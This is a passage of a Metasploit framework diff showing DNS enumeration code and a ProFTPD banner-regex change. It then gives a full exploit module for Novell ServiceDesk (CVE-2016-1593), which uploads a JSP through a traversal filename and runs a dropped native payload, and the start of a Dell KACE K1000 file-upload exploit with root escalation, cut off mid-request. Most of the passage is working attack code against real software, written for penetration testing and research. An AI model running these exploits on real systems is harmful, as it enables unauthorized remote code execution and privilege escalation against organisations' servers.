||||
records
|
||||
end
|
||||
|
||||
if(datastore['ENUM_AXFR'])
|
||||
axfr(datastore['DOMAIN'],datastore['NS'])
|
||||
def dns_wildcard_enabled?(domain)
|
||||
records = get_a("#{Rex::Text.rand_text_alpha(16)}.#{domain}", 'DNS wildcard records')
|
||||
if records.blank?
|
||||
false
|
||||
else
|
||||
print_warning('dns wildcard is enable OR fake dns server')
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['ENUM_SRV'])
|
||||
srvqry(datastore['DOMAIN'],datastore['NS'])
|
||||
end
|
||||
def get_ptr(ip)
|
||||
resp = dns_query(ip, nil)
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
if(datastore['ENUM_RVL'] and datastore['IPRANGE'] and not datastore['IPRANGE'].empty?)
|
||||
reverselkp(datastore['IPRANGE'],datastore['NS'])
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::PTR
|
||||
records << r.ptr.to_s
|
||||
print_good("#{ip}: PTR: #{r.ptr} ")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(ip, 'DNS PTR records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_a(domain, type='DNS A records')
|
||||
resp = dns_query(domain, 'A')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::A
|
||||
records << r.address.to_s
|
||||
print_good("#{domain} A: #{r.address} ") if datastore['ENUM_BRT']
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, type, records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_cname(domain)
|
||||
print_status("querying DNS CNAME records for #{domain}")
|
||||
resp = dns_query(domain, 'CNAME')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::CNAME
|
||||
records << r.cname.to_s
|
||||
print_good("#{domain} CNAME: #{r.cname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS CNAME records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_ns(domain)
|
||||
print_status("querying DNS NS records for #{domain}")
|
||||
resp = dns_query(domain, 'NS')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::NS
|
||||
records << r.nsdname.to_s
|
||||
print_good("#{domain} NS: #{r.nsdname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS NS records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_mx(domain)
|
||||
print_status("querying DNS MX records for #{domain}")
|
||||
begin
|
||||
resp = dns_query(domain, 'MX')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::MX
|
||||
records << r.exchange.to_s
|
||||
print_good("#{domain} MX: #{r.exchange}")
|
||||
end
|
||||
rescue SocketError => e
|
||||
print_error("Query #{domain} DNS MX - exception: #{e}")
|
||||
ensure
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS MX records', records)
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def get_soa(domain)
|
||||
print_status("querying DNS SOA records for #{domain}")
|
||||
resp = dns_query(domain, 'SOA')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::SOA
|
||||
records << r.mname.to_s
|
||||
print_good("#{domain} SOA: #{r.mname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS SOA records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_txt(domain)
|
||||
print_status("querying DNS TXT records for #{domain}")
|
||||
resp = dns_query(domain, 'TXT')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::TXT
|
||||
records << r.txt.to_s
|
||||
print_good("#{domain} TXT: #{r.txt}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS TXT records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_tld(domain)
|
||||
begin
|
||||
print_status("querying DNS TLD records for #{domain}")
|
||||
domain_ = domain.split('.')
|
||||
domain_.pop
|
||||
domain_ = domain_.join('.')
|
||||
|
||||
tlds = [
|
||||
'com', 'org', 'net', 'edu', 'mil', 'gov', 'uk', 'af', 'al', 'dz',
|
||||
'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'ac', 'au',
|
||||
'at', 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm',
|
||||
'bt', 'bo', 'ba', 'bw', 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi',
|
||||
'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', 'cl', 'cn', 'cx', 'cc',
|
||||
'co', 'km', 'cd', 'cg', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', 'cz',
|
||||
'dk', 'dj', 'dm', 'do', 'tp', 'ec', 'eg', 'sv', 'gq', 'er', 'ee',
|
||||
'et', 'fk', 'fo', 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm',
|
||||
'ge', 'de', 'gh', 'gi', 'gr', 'gl', 'gd', 'gp', 'gu', 'gt', 'gg',
|
||||
'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', 'in',
|
||||
'id', 'ir', 'iq', 'ie', 'im', 'il', 'it', 'jm', 'jp', 'je', 'jo',
|
||||
'kz', 'ke', 'ki', 'kp', 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls',
|
||||
'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', 'mg', 'mw', 'my', 'mv',
|
||||
'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', 'mc',
|
||||
'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc',
|
||||
'nz', 'ni', 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw',
|
||||
'pa', 'pg', 'py', 'pe', 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're',
|
||||
'ro', 'ru', 'rw', 'kn', 'lc', 'vc', 'ws', 'sm', 'st', 'sa', 'sn',
|
||||
'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', 'za', 'gz', 'es', 'lk',
|
||||
'sh', 'pm', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj',
|
||||
'tz', 'th', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv',
|
||||
'ug', 'ua', 'ae', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn',
|
||||
'vg', 'vi', 'wf', 'eh', 'ye', 'yu', 'za', 'zr', 'zm', 'zw', 'int',
|
||||
'gs', 'info', 'biz', 'su', 'name', 'coop', 'aero']
|
||||
|
||||
records = []
|
||||
tlds.each do |tld|
|
||||
tldr = get_a("#{domain_}.#{tld}", 'DNS TLD records')
|
||||
next if tldr.blank?
|
||||
records |= tldr
|
||||
print_good("#{domain_}.#{tld}: TLD: #{tldr.join(',')}")
|
||||
end
|
||||
rescue ArgumentError => e
|
||||
print_error("Query #{domain} DNS TLD - exception: #{e}")
|
||||
ensure
|
||||
return if records.blank?
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def get_srv(domain)
|
||||
print_status("querying DNS SRV records for #{domain}")
|
||||
srv_protos = %w(tcp udp tls)
|
||||
srv_record_types = %w(
|
||||
gc kerberos ldap test sips sip aix finger ftp http
|
||||
nntp telnet whois h323cs h323be h323ls sipinternal sipinternaltls
|
||||
sipfederationtls jabber jabber-client jabber-server xmpp-server xmpp-client
|
||||
imap certificates crls pgpkeys pgprevokations cmp svcp crl oscp pkixrep
|
||||
smtp hkp hkps)
|
||||
|
||||
srv_records_data = []
|
||||
srv_record_types.each do |srv_record_type|
|
||||
srv_protos.each do |srv_proto|
|
||||
srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}"
|
||||
resp = dns_query(srv_record, Net::DNS::SRV)
|
||||
next if resp.blank? || resp.answer.blank?
|
||||
srv_record_data = []
|
||||
resp.answer.each do |r|
|
||||
next if r.type == Net::DNS::RR::CNAME
|
||||
host = r.host.gsub(/\.$/, '')
|
||||
data = {
|
||||
host: host,
|
||||
port: r.port,
|
||||
priority: r.priority
|
||||
}
|
||||
print_good("#{srv_record} SRV: #{data}")
|
||||
srv_record_data << data
|
||||
end
|
||||
srv_records_data << {
|
||||
srv_record => srv_record_data
|
||||
}
|
||||
report_note(
|
||||
type: srv_record,
|
||||
data: srv_record_data
|
||||
)
|
||||
end
|
||||
end
|
||||
return if srv_records_data.empty?
|
||||
end
|
||||
|
||||
def axfr(domain)
|
||||
nameservers = get_ns(domain)
|
||||
return if nameservers.blank?
|
||||
records = []
|
||||
nameservers.each do |nameserver|
|
||||
next if nameserver.blank?
|
||||
print_status("Attempting DNS AXFR for #{domain} from #{nameserver}")
|
||||
dns = Net::DNS::Resolver.new
|
||||
dns.use_tcp = datastore['TCP_DNS']
|
||||
dns.udp_timeout = datastore['TIMEOUT']
|
||||
dns.retry_number = datastore['RETRY']
|
||||
dns.retry_interval = datastore['RETRY_INTERVAL']
|
||||
|
||||
ns_a_records = []
|
||||
# try to get A record for nameserver from target NS, which may fail
|
||||
target_ns_a = get_a(nameserver, 'DNS AXFR records')
|
||||
ns_a_records |= target_ns_a if target_ns_a
|
||||
ns_a_records << ::Rex::Socket.resolv_to_dotted(nameserver)
|
||||
begin
|
||||
dns.nameservers -= dns.nameservers
|
||||
dns.nameservers = ns_a_records
|
||||
zone = dns.axfr(domain)
|
||||
rescue ResolverArgumentError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
|
||||
print_error("Query #{domain} DNS AXFR - exception: #{e}")
|
||||
end
|
||||
next if zone.blank?
|
||||
records << zone
|
||||
print_good("#{domain} Zone Transfer: #{zone}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS AXFR recods', records)
|
||||
records
|
||||
end
|
||||
|
||||
def save_note(target, type, records)
|
||||
data = { 'target' => target, 'records' => records }
|
||||
report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
mytarget = nil
|
||||
|
||||
print_status("Automatically detecting the target...")
|
||||
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
|
||||
if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
|
||||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
|
|
|
@ -0,0 +1,384 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Novell ServiceDesk Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an authenticated arbitrary file upload via directory traversal
|
||||
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
|
||||
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
|
||||
Appliance provided by Novell.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-1593' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
|
||||
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_X86,
|
||||
'DefaultOptions' => { 'WfsDelay' => 15 },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Novell ServiceDesk / Linux',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Novell ServiceDesk / Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 30 2016'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT',
|
||||
[true, 'The target port', 80]),
|
||||
OptString.new('USERNAME',
|
||||
[true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD',
|
||||
[true, 'Password for the specified username', 'admin']),
|
||||
OptString.new('TRAVERSAL_PATH',
|
||||
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def get_version
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
|
||||
return $1.to_f
|
||||
else
|
||||
return 999
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
version = get_version
|
||||
if version <= 7.1 && version >= 6.5
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif version > 7.1
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
print_status("#{peer} - Determining target")
|
||||
|
||||
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
|
||||
|
||||
traversal_paths = []
|
||||
if datastore['TRAVERSAL_PATH']
|
||||
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
|
||||
end
|
||||
|
||||
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
|
||||
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
|
||||
|
||||
# test each path to determine OS (and correct path)
|
||||
traversal_paths.each do |traversal_path|
|
||||
jsp_name = upload_jsp(traversal_path, os_finder_payload)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('LiveTime', jsp_name),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.to_s =~ /Windows/
|
||||
@my_target = targets[2]
|
||||
else
|
||||
# Linux here
|
||||
@my_target = targets[1]
|
||||
end
|
||||
if traversal_path.include? '/srv/tomcat6/webapps/'
|
||||
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
|
||||
else
|
||||
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
|
||||
end
|
||||
return traversal_path
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def upload_jsp(traversal_path, jsp)
|
||||
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@upload_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
})
|
||||
|
||||
if not res && res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
|
||||
else
|
||||
return jsp_name
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def create_jsp
|
||||
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
||||
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
|
||||
exe = generate_payload_exe(opts)
|
||||
base64_exe = Rex::Text.encode_base64(exe)
|
||||
|
||||
native_payload_name = rand_text_alpha(rand(6)+3)
|
||||
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
|
||||
if @my_target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
try {
|
||||
String #{var_buf} = "#{base64_exe}";
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
BufferedOutputStream #{var_ostream} =
|
||||
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
jsp = jsp.gsub(/\x0d\x0a/, "")
|
||||
jsp = jsp.gsub(/\x0a/, "")
|
||||
|
||||
return jsp
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
version = get_version
|
||||
|
||||
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
|
||||
login_url = $2
|
||||
@cookies = res.get_cookies
|
||||
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
|
||||
password_form = $1
|
||||
else
|
||||
# we shouldn't hit this condition at all, this is default for v7+
|
||||
password_form = 'password'
|
||||
end
|
||||
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
|
||||
username_form = $1
|
||||
else
|
||||
# we shouldn't hit this condition at all, this is default for v7+
|
||||
username_form = 'username'
|
||||
end
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
|
||||
end
|
||||
|
||||
# 2: authenticate and get the import_url
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(login_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
username_form => datastore['USERNAME'],
|
||||
password_form => datastore['PASSWORD'],
|
||||
'ButtonLogin' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
import_url = $1
|
||||
else
|
||||
# hmm either the password is wrong or someone else is using "our" account.. .
|
||||
# let's try to boot him out
|
||||
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
|
||||
res.body.to_s =~ /This account is in use on another system/
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(login_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
username_form => datastore['USERNAME'],
|
||||
password_form => datastore['PASSWORD'],
|
||||
'ButtonLoginOverride' => 'Login'
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
import_url = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
|
||||
end
|
||||
end
|
||||
|
||||
# 3: get the upload_url
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(import_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
'ButtonImport' => 'Import'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
@upload_url = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
|
||||
end
|
||||
|
||||
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
|
||||
@upload_form = $1
|
||||
else
|
||||
# go with the default for 7.1.0, might not work with other versions...
|
||||
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
|
||||
end
|
||||
|
||||
# 4: target selection
|
||||
@my_target = nil
|
||||
# pick_target returns the traversal_path and sets @my_target
|
||||
traversal_path = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
|
||||
end
|
||||
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case and ask the user to select an appropriate payload.
|
||||
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
end
|
||||
|
||||
# 5: generate the JSP with the payload
|
||||
jsp = create_jsp
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
jsp_name = upload_jsp(traversal_path, jsp)
|
||||
if traversal_path.include? '/srv/tomcat6/webapps/'
|
||||
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
|
||||
else
|
||||
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
|
||||
end
|
||||
|
||||
# 6: pwn it!
|
||||
print_status("#{peer} - Requesting #{jsp_name}")
|
||||
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dell KACE K1000 File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in Kace K1000
|
||||
versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547
|
||||
which allows unauthenticated users to execute arbitrary commands
|
||||
under the context of the 'www' user.
|
||||
|
||||
This module also abuses the 'KSudoClient::RunCommandWait' function
|
||||
to gain root privileges.
|
||||
|
||||
This module has been tested successfully with Dell KACE K1000
|
||||
version 5.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix', # FreeBSD
|
||||
'Arch' => ARCH_CMD,
|
||||
'Author' =>
|
||||
[
|
||||
'Bradley Austin (steponequit)', # Initial discovery and exploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x27",
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl'
|
||||
}
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Targeting', { 'auto' => true }]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 7 2014'))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))
|
||||
unless res
|
||||
vprint_error('Connection failed')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'
|
||||
if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/
|
||||
vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")
|
||||
if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# upload payload
|
||||
fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"
|
||||
payload_path = "/kbox/kboxwww/tmp/"
|
||||
post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"
|
||||
print_status("Uploading #{fname} (#{post_data.length} bytes)")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri('service', 'kbot_upload.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => Hash[{
|
||||
'filename' => fname,
|
||||
'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",
|
||||
'checksum' => 'SCRAMBLE',
|
||||
'mac' => rand_text_alphanumeric(rand(8) + 5),
|
||||
'kbotId' => rand_text_alphanumeric(rand(8) + 5),
|
||||
'version' => rand_text_alphanumeric(rand(8) + 5),
|
